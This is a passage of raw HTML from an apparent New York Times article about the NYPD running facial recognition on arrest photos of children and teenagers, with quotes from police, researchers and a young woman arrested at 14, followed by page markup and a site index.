have begun to debate whether law enforcement should use facial recognition, which relies on an algorithm to quickly pore through images and suggest matches. In May, <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/05/14/us/facial-recognition-ban-san-francisco.html?module=inline" title="">San Francisco blocked city agencies, including the police</a>, from using the tool amid unease about potential government <!-- -->abuse<!-- -->. <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/07/08/us/detroit-facial-recognition-cameras.html?module=inline" title="">Detroit is facing public resistance to a technology </a>that has been shown to have lower accuracy with people with darker skin. </p><p class="css-exrw3m evys1bk0">In New York, the state Education Department recently told the Lockport, N.Y., <!-- -->school district to delay a plan to use facial recognition on students, citing privacy concerns. </p><p class="css-exrw3m evys1bk0">“At the end <!-- -->of the day, it should be banned — no young people,” said <!-- -->Councilman Donovan Richards<!-- -->, a Queens Democrat who heads the Public Safety Committee, which oversees the Police Department. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">The department said its legal bureau had approved using facial recognition on juveniles. <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?module=inline" title="">The algorithm may suggest a lead, but detectives would not make an arrest based solely on </a><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?module=inline" title="">that</a>, Chief Shea said.</p></div><aside class="css-o6xoe7"></aside></div><div class="css-79elbk" data-testid="photoviewer-wrapper"><div class="css-z3e15g" data-testid="photoviewer-wrapper-hidden"></div><div data-testid="photoviewer-children" class="css-1a48zt4 ehw59r15"><figure class="css-jcw7oy e1g7ppur0" aria-label="media" role="group" itemProp="associatedMedia" itemscope="" itemID="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=90&amp;auto=webp" itemType="http://schema.org/ImageObject"><div class="css-1xdhyk6 erfvjey0"><span class="css-1ly73wi e1tej78p0">Image</span><img alt="Dermot Shea, the city&amp;rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match." class="css-1m50asq" src="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale" srcSet="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=90&amp;auto=webp 600w,https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg?quality=90&amp;auto=webp 1024w,https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg?quality=90&amp;auto=webp 2048w" sizes="((min-width: 600px) and (max-width: 1004px)) 84vw, (min-width: 1005px) 60vw, 100vw" itemProp="url" itemID="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale"/></div><figcaption itemProp="caption description" class="css-1l44abu e1xdpqjp0"><span aria-hidden="true" class="css-8i9d0s e13ogyst0">Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.</span><span itemProp="copyrightHolder" class="css-vuqh7u e1z0qqy90"><span class="css-1ly73wi e1tej78p0">Credit</span><span>Chang W. Lee/The New York Times</span></span></figcaption></figure></div></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">Still, facial recognition has not been widely tested on children. Most algorithms are taught to “think” based on adult faces, and there is growing evidence that they do not work as well on children. </p><p class="css-exrw3m evys1bk0">The National Institute of Standards and Technology<!-- -->, which is part of the Commerce Department and <a class="css-1g7m0tk" href="https://nvlpubs.nist.gov/nistpubs/ir/2018/NIST.IR.8238.pdf" title="" rel="noopener noreferrer" target="_blank">evaluates facial recognition </a><a class="css-1g7m0tk" href="https://nvlpubs.nist.gov/nistpubs/ir/2018/NIST.IR.8238.pdf" title="" rel="noopener noreferrer" target="_blank">algorithms</a> for accuracy, recently found the <!-- -->vast majority of more than 100 <!-- -->facial recognition <!-- -->algorithms had a higher rate of mistaken matches among children. The <!-- -->e<!-- -->rror rate was most pronounced in young children but was also seen in those aged 10 to 16.</p><p class="css-exrw3m evys1bk0">Aging poses another problem:<!-- --> The appearance of children and adolescents can change <!-- --> drastically as bones stretch and shift, altering the underlying facial structure. </p><p class="css-exrw3m evys1bk0">“I would use extreme caution in using those algorithms,” said <!-- -->Karl Ricanek Jr.<!-- -->, a computer science professor and <!-- -->co-founder of the Face Aging Group at the University of North Carolina-<!-- -->Wilmington<!-- -->. </p><p class="css-exrw3m evys1bk0">Technology that can match an image of a younger teenager to a recent arrest photo may be less effective at finding the same person even one or two years later, he said. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0"> “The systems do not have the capacity to understand the dynamic changes that occur to a child’s face,” Dr. Ricanek said. </p><p class="css-exrw3m evys1bk0">Idemia<!-- --> and <!-- -->DataWorks Plus<!-- -->, the two companies that provide facial recognition software to the Police Department, did not respond to requests for comment. </p><p class="css-exrw3m evys1bk0">The New York Police Department can take arrest photos of minors as young as <!-- -->11<!-- --> who are charged with a felony, depending on the severity of the charge. </p><p class="css-exrw3m evys1bk0">And in many cases, the department keeps the photos for years, making facial recognition comparisons to what may have effectively become outdated images. There are photos of 5,500 individuals in the juvenile database, 4,100 of whom are no longer 16 or under, the department said. Teenagers 17 and older are considered adults in the criminal justice system. </p><p class="css-exrw3m evys1bk0">Police officials declined to provide statistics on how often their facial recognition systems provide false matches, or to explain how they evaluate the system’s effectiveness.</p><p class="css-exrw3m evys1bk0">“We are comfortable with this technology because it has proved to be a valuable investigative method,” Chief Shea said. Facial recognition has helped lead to thousands of arrests of both adults and juveniles, the department has said. </p><p class="css-exrw3m evys1bk0">Mayor Bill de Blasio had been aware the department was using the technology on minors, said Freddi Goldstein, a spokeswoman for the mayor. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">She said the Police Department followed “strict guidelines” in applying the technology and City Hall monitored the agency’s compliance with the policies. </p><p class="css-exrw3m evys1bk0">The Times learned details of the department’s use of facial recognition by reviewing documents posted online earlier this year by <a class="css-1g7m0tk" href="https://www.flawedfacedata.com/#footnote5" title="" rel="noopener noreferrer" target="_blank">Clare Garvie, a senior associate</a><a class="css-1g7m0tk" href="https://www.flawedfacedata.com/#footnote5" title="" rel="noopener noreferrer" target="_blank"> at the Center on Privacy and Technology at Georgetown Law</a>. Ms. Garvie received the documents as part of an open records lawsuit. </p><p class="css-exrw3m evys1bk0">It could not be determined whether other large police departments used facial recognition with juveniles because very few have written policies governing the use of the technology, Ms. Garvie said. </p><p class="css-exrw3m evys1bk0">New York detectives rely on a vast network<!-- --> of surveillance cameras throughout the city to provide images of people believed to have committed a crime. Since 2011, the department has had a dedicated unit of officers who use facial recognition to compare those images against millions of photos, usually mug shots. The software proposes matches, which have led to thousands of arrests, the department said. </p><p class="css-exrw3m evys1bk0">By 2013, top police officials were meeting to discuss including juveniles in the program, the documents reviewed by The Times showed. </p><p class="css-exrw3m evys1bk0">The documents showed that the juvenile database had been integrated into the system by 2015. </p><p class="css-exrw3m evys1bk0">“We have these photos. It makes sense,” Chief Shea said in the interview. </p><p class="css-exrw3m evys1bk0">State law requires that arrest photos be destroyed if the case is resolved in the juvenile’s favor, or if the child is found to have committed only a misdemeanor, rather than a felony. The photos also must be destroyed if a person reaches age 21 without a criminal record. <!-- --> </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">When children are charged with crimes, the court system usually takes some steps to prevent their acts from defining them in later years. Children who are 16 and under, for instance, are generally sent to Family Court, where records are not public. </p><p class="css-exrw3m evys1bk0">Yet including their photos in a facial recognition database runs the risk that an imperfect algorithm identifies them as possible suspects in later crimes, civil rights advocates said. A mistaken match could lead investigators to focus on the wrong person from the outset, they said. </p><p class="css-exrw3m evys1bk0">“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, a 17-year-old Brooklyn girl who had admitted guilt in Family Court to a group attack that happened when she was 14. She said she was present at the attack but did not participate. </p><p class="css-exrw3m evys1bk0">Bailey, who asked that she be identified only by her <!-- -->last name<!-- --> because she did not want her juvenile arrest to be public, has not been arrested again and is now a student at John Jay College of Criminal Justice. </p><p class="css-exrw3m evys1bk0">R<!-- -->ecent studies indicate that people of color, as well as children and women, have a greater risk of misidentification than their counterparts, sai<!-- -->d <!-- -->Joy Buolamwini<!-- -->, <!-- -->the founder of the Algorithmic Justice League and graduate researcher at the M.I.T. Media Lab<!-- -->, who has examined how human biases are built into artificial intelligence. </p><p class="css-exrw3m evys1bk0">The racial disparities in the juvenile justice system are stark: In New York, black and Latino juveniles were charged with crimes at far higher rates than whites in 2017, the most recent year for which numbers were available. Black juveniles outnumbered white juveniles <a class="css-1g7m0tk" href="https://www.criminaljustice.ny.gov/crimnet/ojsa/jj-reports/newyorkcity.pdf" title="" rel="noopener noreferrer" target="_blank">more than 15 to 1</a>.</p><p class="css-exrw3m evys1bk0">“If the facial recognition algorithm has a negative bias toward a black population, that will get magnified more toward children,” Dr. Ricanek said, adding that in terms of diminished accuracy, “you’re now putting yourself in unknown territory.”</p></div><aside class="css-o6xoe7"></aside></div><div class="css-1soubk3 epkadsg3"><div class="css-15g2oxy epkadsg2"><div class="css-2b3w4o e16ij5yr6"><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article"><div class="css-i9gxme e16ij5yr4"><div class="css-14b9hti e16ij5yr5">Opinion | James O’Neill</div><div class="css-1j8dw05 e16ij5yr2">How Facial Recognition Makes You Safer</div><time class="css-rqb9bm e16638kd0" dateTime="2019-06-09">Jun 9, 2019</time></div><div class="css-1vm5oi9 e16ij5yr0"><img src="https://static01.nyt.com/images/2019/06/07/opinion/sunday/07Oneill/07Oneill-threeByTwoSmallAt2X.jpg" class="css-32rbo2 e16ij5yr1"/></div></a></div><div class="css-2b3w4o e16ij5yr6"><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/07/opinion/lockport-facial-recognition-schools.html?action=click&amp;module=RelatedLinks&amp;pgtype=Article"><div class="css-i9gxme e16ij5yr4"><div class="css-14b9hti e16ij5yr5">Opinion | Jim Shultz</div><div class="css-1j8dw05 e16ij5yr2">Spying on Children Won’t Keep Them Safe</div><time class="css-rqb9bm e16638kd0" dateTime="2019-06-07">Jun 7, 2019</time></div><div class="css-1vm5oi9 e16ij5yr0"><img src="https://static01.nyt.com/images/2019/06/07/opinion/07shultz-privacy/07shultz-privacy-threeByTwoSmallAt2X.jpg" class="css-32rbo2 e16ij5yr1"/></div></a></div></div></div></section><div class="bottom-of-article"><div class="css-1ubp8k9"></div><div class="css-wg1cha"><div class="css-19hdyf3 e1e7j8ap0"><div><p>Joseph Goldstein writes about policing and the criminal justice system. He has been a reporter at The Times since 2011, and is based in New York. He also worked for a year in the Kabul bureau, reporting on Afghanistan. <span class="css-4w91ra"> <a href="https://twitter.com/JoeKGoldstein" class="css-1rj8to8" rel="noopener noreferrer" target="_blank"><span class="css-0">@</span>JoeKGoldstein</a> </span></p></div></div><div class="css-19hdyf3 e1e7j8ap0"><div><p>Ali Watkins is a reporter on the Metro Desk, covering courts and social services. Previously, she covered national security in Washington for The Times, BuzzFeed and McClatchy Newspapers. <span class="css-4w91ra"> <a href="https://twitter.com/AliWatkins" class="css-1rj8to8" rel="noopener noreferrer" target="_blank"><span class="css-0">@</span>AliWatkins</a> </span></p></div></div></div><div class="css-vdv0al">A version of this article appears in print on <!-- -->, Section <!-- -->A<!-- -->, Page <!-- -->1<!-- --> of the New York edition<!-- --> with the headline: <!-- -->In New York, Police Computers Scan Faces, Some as Young as 11<span>. <a href="http://www.nytreprints.com/">Order Reprints</a> | <a href="http://www.nytimes.com/pages/todayspaper/index.html">Today’s Paper</a> | <a href="https://www.nytimes.com/subscriptions/Multiproduct/lp8HYKU.html?campaignId=48JQY">Subscribe</a></span></div><div class="css-i29ckm"><div class="css-10raysz"></div><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-d8bdto" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-ar1l6a"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-4brsb6" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-4brsb6" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-4brsb6" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-ar1l6a"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-uhuo44" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li></ul></div></div></div><div></div><div><div id="bottom-wrapper" class="css-1ede5it"><div id="bottom-slug" class="css-l9onyx"><p>Advertisement</p></div><div class="ad bottom-wrapper" style="text-align:center;height:100%;display:block;min-height:90px"><div id="bottom" class="" data-position="bottom"></div></div></div></div></article></div></main><nav class="css-1ropbjl" id="site-index" aria-labelledby="site-index-label" data-testid="site-index"><div class="css-uw59u"><header class="css-jxzr5i" data-testid="site-index-header"><h2 class="css-vz7hjd" id="site-index-label">Site Index</h2><a href="/"><svg xmlns="http://www.w3.org/2000/svg" class="css-oylsik" viewBox="0 0 184 25" fill="#000"><path d="M13.8 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8C6.2 1.4 5 1 4 1 2 1 .6 2.5.6 4.2c0 1.5 1.1 2 1.5 2.2l.1-.2c-.2-.2-.5-.4-.5-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8v3.1L9 10.2v.1l1.5 1.3v4.3c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a><div class="css-1otr2jl" data-testid="go-to-homepage"><a class="css-1c8n994" href="/">Go to Home Page »</a></div></header><div class="css-qtw155" data-testid="site-index-accordion"><div class=" " role="tablist" aria-multiselectable="true" data-testid="accordion"><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-0" id="item-siteindex-0" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">news</header><div class="css-1hyfx7x" id="body-siteindex-0" aria-labelledby="item-siteindex-0" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com" data-testid="accordion-item-list-link">home page</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/world" data-testid="accordion-item-list-link">world</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/us" data-testid="accordion-item-list-link">U.S.</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/politics" data-testid="accordion-item-list-link">politics</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/news-event/2020-election" data-testid="accordion-item-list-link">Election 2020</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/nyregion" data-testid="accordion-item-list-link">New York</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/business" data-testid="accordion-item-list-link">business</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/technology" data-testid="accordion-item-list-link">tech</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/science" data-testid="accordion-item-list-link">science</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/section/climate" data-testid="accordion-item-list-link">climate</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/sports" data-testid="accordion-item-list-link">sports</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/obituaries" data-testid="accordion-item-list-link">obituaries</a></li><li class="css-10t7hia smartphone"><a class="css-mzqdl" href="https://www.nytimes.com/section/upshot" data-testid="accordion-item-list-link">the upshot</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/todayspaper" data-testid="accordion-item-list-link">today&#x27;s paper</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/corrections" data-testid="accordion-item-list-link">corrections</a></li></ul></div></div><div class="" data-testid="accordion-item"><header aria-controls="body-siteindex-1" id="item-siteindex-1" class="css-mn5hq9" role="tab" tabindex="0" aria-expanded="false" data-testid="accordion-item-header">opinion</header><div class="css-1hyfx7x" id="body-siteindex-1" aria-labelledby="item-siteindex-1" aria-expanded="false" role="tabpanel" data-testid="accordion-item-body"><ul class="css-1gprdgz" data-testid="site-index-accordion-list"><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion" data-testid="accordion-item-list-link">today&#x27;s opinion</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/columnists" data-testid="accordion-item-list-link">op-ed columnists</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/editorials" data-testid="accordion-item-list-link">editorials</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/contributors" data-testid="accordion-item-list-link">op-ed Contributors</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/letters" data-testid="accordion-item-list-link">letters</a></li><li class="css-10t7hia"><a class="css-mzqdl" href="https://www.nytimes.com/section/opinion/sunday" data-testid="accordion-item-list-link">sunday review</a></li><li class="css-10t7hia"><a 